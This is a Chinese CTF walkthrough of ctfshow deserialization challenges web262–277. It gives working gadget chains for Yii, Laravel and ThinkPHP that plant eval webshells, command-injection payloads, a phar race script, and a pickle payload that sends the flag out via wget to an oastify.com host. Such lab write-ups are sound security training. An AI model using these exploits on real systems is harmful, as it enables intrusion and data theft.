$t = $_GET['t'];if(isset($f) && isset($m) && isset($t)){$msg = new message($f,$m,$t);$umsg = str_replace('fuck', 'loveU', serialize($msg));$_SESSION['msg']=base64_encode($umsg);echo 'Your message has been sent';
}highlight_file(__FILE__);

message.php

<?php
session_start();
highlight_file(__FILE__);
include('flag.php');class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}if(isset($_COOKIE['msg'])){$msg = unserialize(base64_decode($_SESSION['msg']));if($msg->token=='admin'){echo $flag;}
}

这道题基本和web262基本一样,就是需要我们手动设置一下名为msgsession,payload照抄就可以了

设置msgsession,值随意

image-20230811161202488

然后GET传参,payload

?f=1&m=1&t=3fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

image-20230811161314350

然后去访问message.php

image-20230811161431942

web265

反序列化中指针引用:&

<?php
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{public $token;public $password;public function __construct($t,$p){$this->token=$t;$this->password = $p;}public function login(){return $this->token===$this->password;}
}$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());if($ctfshow->login()){echo $flag;
}

通过代码审计,我们 需要传入ctfshow这个参数,使他反序列化之后tokenpassword完全相等

但是传入之后token被重新赋值,等于一个md5加密之后的随机数,所以我们就得考虑一下如何让$this->password===$this->token

可以在PHP中变量的引用&


PHP变量引用

& 传递变量的地址, 类似于 c 中的指针

test1

<?php$a = '123';
$b = &$a;
$a = '456';
echo $b;?>#456

这里面 $b 的值就是 $a 的值, 因为 $b 里面存了 $a 的地址, 两者是等价的

同理, 如果改变 $b 的值, $a 的值也同样会改变

再给个例子

test2

<?php
class abc{public $a = '1';public $b = '2';
}
$c = new abc();
$c->a =&$c->b;
$c->a = '2';//此时哪怕修改a的值也不管用
echo $c->b = md5(mt_rand()).PHP_EOL;
print_r($c->a);
?>//运行结果
99b7a2ba03ae148d05525d96ac414ad9
99b7a2ba03ae148d05525d96ac414ad9

回到此题,利用&来引用token的值 ,使password的值与token相等

构造exp

<?php
class ctfshowAdmin{public $token;public $password;public function __construct(){$this->token='Leaf';$this->password = &$this->token;}
}
$a = new ctfshowAdmin();
echo urlencode(serialize($a));

运行脚本后得到payload:

O%3A12%3A%22ctfshowAdmin%22%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A4%3A%22Leaf%22%3Bs%3A8%3A%22password%22%3BR%3A2%3B%7D

然后GET传参,得到flag

image-20230811165710153

web266

<?php
highlight_file(__FILE__);include('flag.php');
$cs = file_get_contents('php://input');class ctfshow{public $username='xxxxxx';public $password='xxxxxx';public function __construct($u,$p){$this->username=$u;$this->password=$p;}public function login(){return $this->username===$this->password;}public function __toString(){return $this->username;}public function __destruct(){global $flag;echo $flag;}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){throw new Exception("Error $ctfshowo",1);
}

__destruct() 会在程序正常执行完毕后被调用

我们需要构造反序列化ctfshow这个类的exp,但是存在正则匹配preg_match,如果我们传入ctfshow这个字符串就会抛出异常,抛出异常也就意味着这个程序没有被正常执行完毕,所以也就不会执行__destruct()魔术方法

但是可以看到这个正则匹配并没有增加/i也就是区分大小写,可以利用PHP对大小写不敏感的PHP特性来进行绕过,利用这一点,我们只需要让该类正常销毁即可

方法一:大小写绕过


PHP特性

搜了一下,PHP有如下特性

  • 变量名区分大小写
  • 常量名区分大小写
  • 数组索引 (键名) 区分大小写
  • 函数名, 方法名, 类名不区分大小写
  • 魔术常量不区分大小写 (以双下划线开头和结尾的常量)
  • NULL TRUE FALSE 不区分大小写
  • 强制类型转换不区分大小写 (在变量前面加上 (type))

所以可以利用PHP对类名不区分大小写的特性来构造exp

<?php
class Ctfshow{public $username='xxxxxx';public $password='xxxxxx';
}
$a = new Ctfshow();
echo serialize($a);

运行脚本得到payload:

O:7:"Ctfshow":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}

burp抓包然后将得到的payload放进去,$cs的接受方式是php://input,所以我们要把序列化字符串放到body体

image-20230811192903366

方法二:序列化破坏


绕过throw new Exception 强制GC回收执行__destruct()函数

简单说一下原理

一般这种题在反序列化后面都会抛出一个异常阻止对象销毁,那么对象如果没有销毁就不会执行

<?php
class B {function __destruct() {echo "successful\n";}
}
$a=unserialize('O:1:"B":0:{}');
throw new Exception('退出'); 
#退出

这里踩一个坑:

<?php
class B {function __destruct() {echo "successful\n";}
}
unserialize('O:1:"B":0:{}');
throw new Exception('退出');

这里会正常执行__destruct()魔术方法

与上一个相比就是少了一个变量来接受反序列化后的对象,那么这个反序列化后直接销毁所以会执行__destruct(),而上面的$a在代码结束的时候才会销毁,但是在销毁之前,也就是代码结束之前就抛出异常了,代码直接异常结束导致GC还没回收$a也就没有销毁对象,所以执行不了__destruct()函数

绕过思路:反序列化的过程是顺序执行的

<?php
class test{public $test1="aa";public function __destruct(){echo $this->test1."\n";}
}
//$arr=array(0=>new test(),1=>null);
//echo serialize($arr);
//a:2:{i:0;O:4:"test":1:{s:5:"test1";s:2:"aa";}i:1;N;}
//将此处1改为0即可正常销毁
$s='a:2:{i:0;O:4:"test":1:{s:5:"test1";s:2:"aa";}i:0;N;}';
$ss='O:4:"test":0:{s:5:"test1";s:2:"aa";}';
$a=unserialize($ss);
throw new Error();

所以到第一个属性时,会将 Array[0] 设置为 test 对象,同时我们又将 Array[0] 设置为 null ,这样前面的 getflag 对象便丢失了引用,就会被GC所捕获,便可以执行 __destruct ()

可能这段说不太明白,修改一下

<?php
class test{public $test1="aa";public function __destruct(){echo $this->test1."\n";}
}$arr=new test();
#echo serialize($arr).PHP_EOL;
#O:4:"test":1:{s:5:"test1";s:2:"aa";}
//将此处1改为0即可正常销毁
$str='O:4:"test":0:{s:5:"test1";s:2:"aa";}';
$a=unserialize($str);
throw new Error();

把属性数量从1改成0便可以破坏序列化


回到该题,先正常构造exp

<?phpclass ctfshow{public $username='xxxxxx';public $password='xxxxxx';
}
$a = new ctfshow();
echo serialize($a);

运行脚本得到

O:7:"ctfshow":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}

然后修改属性数量

O:7:"ctfshow":0:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}

burp发包,可以看到__destruct()正常执行

image-20230811200737364

web267

Yii反序列化漏洞

你最好是真的

image-20230811204703809

进入到登录界面,然后弱口令admin/admin进入到后台

image-20230813145504971

查看about界面源代码,可以看到hint:view-source

构造payload

http://33c81897-2e6d-4da8-afa9-41cb47188735.challenge.ctf.show/index.php?r=site%2Fabout&view-source

看到回显,发现注入点

///backdoor/shell
unserialize(base64_decode($_GET['code']))

看到返回包发现yii.js

image-20230813153122180

Ctrl+U进入源代码然后点进去

image-20230813153342437

看到Yii版本2.0

image-20230813153405941

CVE-2020-15148 这里就不详细讲述漏洞了

直接去找公开的链子,命令执行可以用system、shell_exec、exec、passthru,这题只有passthru有回显,可以直接ls后拿flag,下面是写shell的演示。

exp如下

<?php
namespace yii\rest{class CreateAction{public $checkAccess;public $id;public function __construct(){$this->checkAccess = 'shell_exec';      //php函数$this->id ="echo '<?php eval(\$_GET[1]);phpinfo();?>' > shell.php";     //php函数的参数  }}
}namespace Faker{use yii\rest\CreateAction;class Generator{protected $formatters;public function __construct(){$this->formatters['close'] = [new CreateAction(), 'run'];}}
}namespace yii\db{use Faker\Generator;class BatchQueryResult{private $_dataReader;public function __construct(){$this->_dataReader = new Generator;}}
}
namespace{echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

1、可以shell_exec执行wget pwd|base64.dnslog.cn,外带数据得到当前网站路径

2、在写shell的时候,最外面一定得双引号,里面才是单引号(参考上面写shell处的代码看)。而且$得用\进行转义,不然会写不成功。

3、得在一句话木马的后面加上其它语句,如上面的phpinfo();,不然显示语法错误,具体原因不清楚。

运行脚本得到

TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6MTA6InNoZWxsX2V4ZWMiO3M6MjoiaWQiO3M6NTI6ImVjaG8gJzw/cGhwIGV2YWwoJF9HRVRbMV0pO3BocGluZm8oKTs/PicgPiBzaGVsbC5waHAiO31pOjE7czozOiJydW4iO319fX0=

payload:

?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6MTA6InNoZWxsX2V4ZWMiO3M6MjoiaWQiO3M6NTI6ImVjaG8gJzw/cGhwIGV2YWwoJF9HRVRbMV0pO3BocGluZm8oKTs/PicgPiBzaGVsbC5waHAiO31pOjE7czozOiJydW4iO319fX0=

然后访问shell.php,可以看到phpinfo()回显

image-20230821153908540

然后进行RCE,得到flag

image-20230821155548756

最后构造payload

shell.php?1=system("cat /f*");

web268

做法一样但是需要修改exp,因为存在过滤

可以换成下面这条,不过这里写shell用不了GET方法了

<?php
namespace yii\rest {class Action{public $checkAccess;}class IndexAction{public function __construct($func, $param){$this->checkAccess = $func;$this->id = $param;}}
}
namespace yii\web {abstract class MultiFieldSession{public $writeCallback;}class DbSession extends MultiFieldSession{public function __construct($func, $param){$this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];}}
}
namespace yii\db {use yii\base\BaseObject;class BatchQueryResult{private $_dataReader;public function __construct($func, $param){$this->_dataReader = new \yii\web\DbSession($func, $param);}}
}
namespace {$exp = new \yii\db\BatchQueryResult('shell_exec', "echo '<?php eval(\$_POST[1]);phpinfo();?>' > shell.php");echo(base64_encode(serialize($exp)));
}

运行脚本生成

TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czoxMDoic2hlbGxfZXhlYyI7czoyOiJpZCI7czo1MzoiZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbMV0pO3BocGluZm8oKTs/PicgPiBzaGVsbC5waHAiO31pOjE7czozOiJydW4iO319fQ==

构造payload是生成一句话木马文件

/index.php?r=/backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czoxMDoic2hlbGxfZXhlYyI7czoyOiJpZCI7czo1MzoiZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbMV0pO3BocGluZm8oKTs/PicgPiBzaGVsbC5waHAiO31pOjE7czozOiJydW4iO319fQ==

然后在shell.php文件下进行RCE,这里要记得用POST形式

image-20230821170130609

web269

同web268

web270

同web268

web271

Laravel5.7(CVE-2019-9081)反序列化漏洞

题目源码如下

<?php/*** Laravel - A PHP Framework For Web Artisans** @package  Laravel* @author   Taylor Otwell <taylor@laravel.com>*/define('LARAVEL_START', microtime(true));/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| our application. We just need to utilize it! We'll simply require it
| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.
|
*/require __DIR__ . '/../vendor/autoload.php';/*
|--------------------------------------------------------------------------
| Turn On The Lights
|--------------------------------------------------------------------------
|
| We need to illuminate PHP development, so let us turn on the lights.
| This bootstraps the framework and gets it ready for use, then it
| will load up this application so that we can run it and send
| the responses back to the browser and delight our users.
|
*/$app = require_once __DIR__ . '/../bootstrap/app.php';/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle($request = Illuminate\Http\Request::capture()
);
@unserialize($_POST['data']);
highlight_file(__FILE__);$kernel->terminate($request, $response);

这里空格被过滤,注意修改最后的payload

搬砖poc

脚本如下

<?phpnamespace Illuminate\Foundation\Testing {class PendingCommand{public $test;protected $app;protected $command;protected $parameters;public function __construct($test, $app, $command, $parameters){$this->test = $test;                 //一个实例化的类 Illuminate\Auth\GenericUser$this->app = $app;                   //一个实例化的类 Illuminate\Foundation\Application$this->command = $command;           //要执行的php函数 system$this->parameters = $parameters;     //要执行的php函数的参数  array('id')}}
}namespace Faker {class DefaultGenerator{protected $default;public function __construct($default = null){$this->default = $default;}}
}namespace Illuminate\Foundation {class Application{protected $instances = [];public function __construct($instances = []){$this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;}}
}namespace {$defaultgenerator = new Faker\DefaultGenerator(array("hello" => "world"));$app = new Illuminate\Foundation\Application();$application = new Illuminate\Foundation\Application($app);$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('ls /')); //此处执行命令echo urlencode(serialize($pendingcommand));
}

运行脚本得到

O%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A4%3A%22test%22%3BO%3A22%3A%22Faker%5CDefaultGenerator%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00default%22%3Ba%3A1%3A%7Bs%3A5%3A%22hello%22%3Bs%3A5%3A%22world%22%3B%7D%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00instances%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00instances%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3Ba%3A0%3A%7B%7D%7D%7D%7D%7Ds%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A4%3A%22ls+%2F%22%3B%7D%7D

POST传参

image-20230823161711254

然后修改命令为cat /f*得到flag

web272

Laravel5.8 反序列化漏洞

开启环境后源码如下

<?php/*** Laravel - A PHP Framework For Web Artisans** @package  Laravel* @author   Taylor Otwell <taylor@laravel.com>*/define('LARAVEL_START', microtime(true));/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| our application. We just need to utilize it! We'll simply require it
| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.
|
*/require __DIR__ . '/../vendor/autoload.php';/*
|--------------------------------------------------------------------------
| Turn On The Lights
|--------------------------------------------------------------------------
|
| We need to illuminate PHP development, so let us turn on the lights.
| This bootstraps the framework and gets it ready for use, then it
| will load up this application so that we can run it and send
| the responses back to the browser and delight our users.
|
*/$app = require_once __DIR__ . '/../bootstrap/app.php';/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle($request = Illuminate\Http\Request::capture()
);
@unserialize($_POST['data']);
highlight_file(__FILE__);$kernel->terminate($request, $response);

搬砖poc

<?php
namespace PhpParser\Node\Scalar\MagicConst{class Line {}
}
namespace Mockery\Generator{class MockDefinition{protected $config;protected $code;public function __construct($config, $code){$this->config = $config;$this->code = $code;}}
}
namespace Mockery\Loader{class EvalLoader{}
}
namespace Illuminate\Bus{class Dispatcher{protected $queueResolver;public function __construct($queueResolver){$this->queueResolver = $queueResolver;}}
}
namespace Illuminate\Foundation\Console{class QueuedCommand{public $connection;public function __construct($connection){$this->connection = $connection;}}
}
namespace Illuminate\Broadcasting{class PendingBroadcast{protected $events;protected $event;public function __construct($events, $event){$this->events = $events;$this->event = $event;}}
}
namespace{$line = new PhpParser\Node\Scalar\MagicConst\Line();$mockdefinition = new Mockery\Generator\MockDefinition($line,"<?php system('ls /');");$evalloader = new Mockery\Loader\EvalLoader();$dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,'load'));$queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition);$pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand);echo urlencode(serialize($pendingbroadcast));
}

运行脚本得到

O%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A25%3A%22Illuminate%5CBus%5CDispatcher%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00queueResolver%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A25%3A%22Mockery%5CLoader%5CEvalLoader%22%3A0%3A%7B%7Di%3A1%3Bs%3A4%3A%22load%22%3B%7D%7Ds%3A8%3A%22%00%2A%00event%22%3BO%3A43%3A%22Illuminate%5CFoundation%5CConsole%5CQueuedCommand%22%3A1%3A%7Bs%3A10%3A%22connection%22%3BO%3A32%3A%22Mockery%5CGenerator%5CMockDefinition%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00config%22%3BO%3A37%3A%22PhpParser%5CNode%5CScalar%5CMagicConst%5CLine%22%3A0%3A%7B%7Ds%3A7%3A%22%00%2A%00code%22%3Bs%3A21%3A%22%3C%3Fphp+system%28%27ls+%2F%27%29%3B%22%3B%7D%7D%7D

POST发包

image-20230823193702983

修改命令为cat /f*得到flag

这里有第二个链子,可以进行RCE

<?php
namespace Illuminate\Broadcasting{use Illuminate\Bus\Dispatcher;use Illuminate\Foundation\Console\QueuedCommand;class PendingBroadcast{protected $events;protected $event;public function __construct(){$this->events=new Dispatcher();$this->event=new QueuedCommand();}}
}
namespace Illuminate\Foundation\Console{use Mockery\Generator\MockDefinition;class QueuedCommand{public $connection;public function __construct(){$this->connection=new MockDefinition();}}
}
namespace Illuminate\Bus{use Mockery\Loader\EvalLoader;class Dispatcher{protected $queueResolver;public function __construct(){$this->queueResolver=[new EvalLoader(),'load'];}}
}
namespace Mockery\Loader{class EvalLoader{}
}
namespace Mockery\Generator{class MockDefinition{protected $config;protected $code;public function __construct(){$this->code='<?php eval($_REQUEST["cmd"]);exit()?>'; //此处是PHP代码$this->config=new MockConfiguration();}}class MockConfiguration{protected $name="feng";}
}namespace{use Illuminate\Broadcasting\PendingBroadcast;echo urlencode(serialize(new PendingBroadcast()));
}

运行脚本得到

O%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A25%3A%22Illuminate%5CBus%5CDispatcher%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00queueResolver%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A25%3A%22Mockery%5CLoader%5CEvalLoader%22%3A0%3A%7B%7Di%3A1%3Bs%3A4%3A%22load%22%3B%7D%7Ds%3A8%3A%22%00%2A%00event%22%3BO%3A43%3A%22Illuminate%5CFoundation%5CConsole%5CQueuedCommand%22%3A1%3A%7Bs%3A10%3A%22connection%22%3BO%3A32%3A%22Mockery%5CGenerator%5CMockDefinition%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00config%22%3BO%3A35%3A%22Mockery%5CGenerator%5CMockConfiguration%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A4%3A%22feng%22%3B%7Ds%3A7%3A%22%00%2A%00code%22%3Bs%3A37%3A%22%3C%3Fphp+eval%28%24_REQUEST%5B%22cmd%22%5D%29%3Bexit%28%29%3F%3E%22%3B%7D%7D%7D

POST发包进行RCE

image-20230823194049552

web273

同上

web274

thinkphp 5.1反序列化漏洞

exp如下:

<?php
namespace think;
abstract class Model{protected $append = [];private $data = [];function __construct(){$this->append = ["lin"=>["calc.exe","calc"]];$this->data = ["lin"=>new Request()];}
}
class Request
{protected $hook = [];protected $filter = "system";protected $config = [// 表单ajax伪装变量'var_ajax'         => '_ajax',  ];function __construct(){$this->filter = "system";$this->config = ["var_ajax"=>'lin'];$this->hook = ["visible"=>[$this,"isAjax"]];}
}namespace think\process\pipes;use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{private $files = [];public function __construct(){$this->files=[new Pivot()];}
}
namespace think\model;use think\Model;class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

运行脚本生成

TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czozOiJsaW4iO2E6Mjp7aTowO3M6ODoiY2FsYy5leGUiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJsaW4iO086MTM6InRoaW5rXFJlcXVlc3QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6OTtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjtzOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjM6ImxpbiI7fX19fX19

将生成的payload放入data处,lin是该漏洞的固定变量,不能修改,即:

?data=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czozOiJsaW4iO2E6Mjp7aTowO3M6ODoiY2FsYy5leGUiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJsaW4iO086MTM6InRoaW5rXFJlcXVlc3QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6OTtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjtzOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjM6ImxpbiI7fX19fX19&lin=cat /f*

然后修改为cat /f*

web275

源码如下

<?php
highlight_file(__FILE__);class filter{public $filename;public $filecontent;public $evilfile=false;public function __construct($f,$fn){$this->filename=$f;$this->filecontent=$fn;}public function checkevil(){if(preg_match('/php|\.\./i', $this->filename)){$this->evilfile=true;}if(preg_match('/flag/i', $this->filecontent)){$this->evilfile=true;}return $this->evilfile;}public function __destruct(){if($this->evilfile){system('rm '.$this->filename);}}
}if(isset($_GET['fn'])){$content = file_get_contents('php://input');$f = new filter($_GET['fn'],$content);if($f->checkevil()===false){file_put_contents($_GET['fn'], $content);copy($_GET['fn'],md5(mt_rand()).'.txt');unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);echo 'work done';}}else{echo 'where is flag?';
}
  1. class filter{ ... }: 这是一个名为filter的类定义。这个类包含了一些属性和方法,用于处理文件内容,进行过滤并执行相关操作。
  • public $filename;public $filecontent;: 这两个属性分别表示文件名和文件内容。
  • public $evilfile=false;: 这个属性标识文件是否被认为是恶意的,默认为false
  • public function __construct($f,$fn){ ... }: 这是构造函数,用于初始化filenamefilecontent属性。
  • public function checkevil(){ ... }: 这个方法用于检查文件名和文件内容是否包含恶意信息,如果包含恶意信息,则将evilfile属性设置为true
  • public function __destruct(){ ... }: 这是析构函数,如果evilfiletrue,它将使用系统命令system('rm '.$this->filename);来删除文件。
  1. if(isset($_GET['fn'])){ ... }: 这个条件判断检查是否通过GET请求传递了名为fn的参数。如果存在这个参数,表示要进行文件处理操作。
  • file_get_contents('php://input');: 这行代码尝试读取php://input中的内容,php://input是用于读取请求主体的流,通常用于POST请求。这里将请求主体的内容读取到了$content变量中。
  • new filter($_GET['fn'],$content);: 创建一个filter类的实例,将传递的文件名和内容作为构造函数的参数。
  • $f->checkevil()===false: 调用checkevil()方法来检查文件名和内容是否被认为是恶意的,如果返回值为false,表示文件是安全的。
    • 文件名和内容都会被用正则表达式进行匹配,检查是否包含php..等关键词,如果有,就会将evilfile设置为true
  • file_put_contents($_GET['fn'], $content);: 将文件内容写入到指定的文件中。
  • copy($_GET['fn'],md5(mt_rand()).'.txt');: 复制该文件到一个随机命名的文件名(使用md5(mt_rand())生成一个随机的哈希值作为文件名)。
  • unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);: 删除位于服务器文档根目录下的原始文件。
  • echo 'work done';: 输出"work done",表示处理工作完成。
  1. else { echo 'where is flag?'; }: 如果GET请求中没有fn参数,就会输出"where is flag?",暗示要提供fn参数,但并未直接返回具体的标志内容。

这里直接审计代码,linux可以允许system(‘rm’.$_GET[1]);动态执行,所以这里可以用分号来分隔命令。

payload:

?fn=php;ls /

image-20230824011356248

然后修改payload获得flag

?fn=php;tac f*

web276

phar反序列化

源码如下

<?php
highlight_file(__FILE__);class filter{public $filename;public $filecontent;public $evilfile=false;public $admin = false;public function __construct($f,$fn){$this->filename=$f;$this->filecontent=$fn;}public function checkevil(){if(preg_match('/php|\.\./i', $this->filename)){$this->evilfile=true;}if(preg_match('/flag/i', $this->filecontent)){$this->evilfile=true;}return $this->evilfile;}public function __destruct(){if($this->evilfile && $this->admin){system('rm '.$this->filename);}}
}if(isset($_GET['fn'])){$content = file_get_contents('php://input');$f = new filter($_GET['fn'],$content);if($f->checkevil()===false){file_put_contents($_GET['fn'], $content);copy($_GET['fn'],md5(mt_rand()).'.txt');unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);echo 'work done';}}else{echo 'where is flag?';
}

这道题和上一道题的细微差异

public function __destruct(){if($this->evilfile && $this->admin){system('rm '.$this->filename);}
}

$admin 不可控, 并且有文件操作的相关函数, 猜测是 phar 反序列化 再加上条件竞争

思路是先绕过 checkevil 方法上传文件, 然后利用 copyunlink 的时间差, 再利用一个正常的请求通过 phar:// 协议访问之前上传的文件, 触发反序列化

payload:

这里用来生成phar文件

<?phpclass filter{public $filename = '123; echo \'<?php system($_GET[1]);?>\' > 1.php';public $evilfile = true;public $admin = true;
}$o = new filter();@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test"); 
$phar->stopBuffering();?>

条件竞争的脚本

import requests
import threadingurl = 'http://179e7299-1f16-42cf-a60f-6a8f10dec64b.challenge.ctf.show/'lock = Falsedef send_phar():with open('phar.phar', 'rb') as f:data = f.read()_ = requests.post(url + '?fn=phar.txt', data=data)def unserialize_phar():_ = requests.post(url + '?fn=phar://phar.txt', data='123')def check_shell():global lockres = requests.get(url + '1.php')if res.status_code != 404:print('ok')lock = Truewhile not lock:t1 = threading.Thread(target=send_phar)t2 = threading.Thread(target=unserialize_phar)t3 = threading.Thread(target=check_shell)t1.start()t2.start()t3.start()

这里我没打出来,以后再试试

web277

python反序列化

这里直接利用 __reduce__ 执行命令

import pickle
import base64
import osclass RCE(object):def __reduce__(self):return (os.system,('wget http://y98rjviy0w8i1gyj75swgrzlocu2ir.oastify.com/`cat flag`',))obj = RCE()
payload = pickle.dumps(obj, protocol=0)
print(base64.b64encode(payload))

注意要在 linux 下运行

因为 windows 执行 os.system 的时候 opcode 开头是 nt, 而 linux 的开头是 posix

自己手动改也可以

http://536110ee-d022-4b6c-ab8b-4cc7fe52932e.challenge.ctf.show/backdoor?data=Y3Bvc2l4CnN5c3RlbQpwMAooVndnZXQgaHR0cDovL3k5OHJqdml5MHc4aTFneWo3NXN3Z3J6bG9jdTJpci5vYXN0aWZ5LmNvbS9gY2F0IGZsYWdgCnAxCnRwMgpScDMKLg==

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202208161538219.png

web278

